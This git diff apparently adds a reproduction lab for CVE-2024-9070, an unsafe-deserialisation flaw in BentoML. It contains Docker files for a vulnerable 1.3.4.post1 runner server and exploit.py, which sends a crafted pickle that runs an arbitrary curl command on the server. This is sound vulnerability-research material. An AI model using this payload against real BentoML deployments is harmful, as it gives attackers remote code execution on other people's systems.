diff --git a/bentoml/cve-2024-9070/Dockerfile b/bentoml/cve-2024-9070/Dockerfile new file mode 100644 index 0000000..3cb45d0 --- /dev/null +++ b/bentoml/cve-2024-9070/Dockerfile @@ -0,0 +1,13 @@ +FROM ubuntu:22.04 +RUN mkdir /workdir +WORKDIR /workdir +RUN apt update \ + && apt install curl python3.11 python3-pip python3.11-venv -y +ARG BENTOML_VERSION +RUN pip3 install bentoml==${BENTOML_VERSION} +COPY workdir/bentofile.yaml . +COPY workdir/create.py . +COPY workdir/service.py . +RUN python3 create.py +CMD bentoml build +CMD bentoml start-runner-server --runner-name simple_model --working-dir . --host 0.0.0.0 --port 3000 diff --git a/bentoml/cve-2024-9070/README.md b/bentoml/cve-2024-9070/README.md new file mode 100644 index 0000000..4584cb3 --- /dev/null +++ b/bentoml/cve-2024-9070/README.md @@ -0,0 +1,15 @@ +# vulnerble version setup + +```bash +docker compose -f docker-compose-vulnerable.yml up +``` +run the exploit: +``` +ncat -klnv 1337 +python3 exploit.py +``` +you'll receive a http request on port 1337 which means the exploit worked. + +# safe version setup + +there is no patched version \ No newline at end of file diff --git a/bentoml/cve-2024-9070/docker-compose-vulnerable.yml b/bentoml/cve-2024-9070/docker-compose-vulnerable.yml new file mode 100644 index 0000000..7193ee3 --- /dev/null +++ b/bentoml/cve-2024-9070/docker-compose-vulnerable.yml @@ -0,0 +1,8 @@ +services: + bentoml-vuln: + build: + context: . + args: + BENTOML_VERSION: 1.3.4.post1 + ports: + - "3000:3000" diff --git a/bentoml/cve-2024-9070/exploit.py b/bentoml/cve-2024-9070/exploit.py new file mode 100644 index 0000000..22a9b0c --- /dev/null +++ b/bentoml/cve-2024-9070/exploit.py @@ -0,0 +1,13 @@ +import pickle, os, requests + +url = input("Please specify the URL that will receive the callback: ") +print(f"Command that will be executed: curl {url}") +class P(object): + def __reduce__(self): + return (os.system, (f"curl {url}",)) + +requests.post('http://127.0.0.1:3000/', data=pickle.dumps(P()), + headers = { + "args-number": "3", + "Content-Type": "application/vnd.bentoml.pickled", + }) diff --git a/bentoml/cve-2024-9070/workdir/bentofile.yaml b/bentoml/cve-2024-9070/workdir/bentofile.yaml new file mode 100644 index 0000000..81b7fda --- /dev/null +++ b/bentoml/cve-2024-9070/workdir/bentofile.yaml @@ -0,0 +1,13 @@ +service: "service.py" +description: "A simple BentoML service" + +python: + packages: + - bentoml + - numpy + +models: + - tag: simple_model:latest + +include: + - "*.py" \ No newline at end of file diff --git a/bentoml/cve-2024-9070/workdir/create.py b/bentoml/cve-2024-9070/workdir/create.py new file mode 100644 index 0000000..4acd960 --- /dev/null +++ b/bentoml/cve-2024-9070/workdir/create.py @@ -0,0 +1,11 @@ +import bentoml +import numpy as np + +class SimpleModel: + def predict(self, inputs): + return np.sum(inputs) + def __call__(self, inputs): + return self.predict(inputs) + +model = SimpleModel() +bentoml.picklable_model.save_model("simple_model", model) \ No newline at end of file diff --git a/bentoml/cve-2024-9070/workdir/service.py b/bentoml/cve-2024-9070/workdir/service.py new file mode 100644 index 0000000..2e0e201 --- /dev/null +++ b/bentoml/cve-2024-9070/workdir/service.py @@ -0,0 +1,14 @@ +import bentoml +from bentoml.io import NumpyNdarray +import numpy as np + +model_runner = bentoml.picklable_model.get("simple_model:latest").to_runner() + +svc = bentoml.Service("simple_service", runners=[model_runner]) + +@svc.api(input=NumpyNdarray(), output=NumpyNdarray()) +async def predict(input_data: np.ndarray): + input_columns = np.split(input_data, input_data.shape[1], axis=1) + result_generator = model_runner.async_run(input_columns, is_stream=True) + async for result in result_generator: + yield result \ No newline at end of file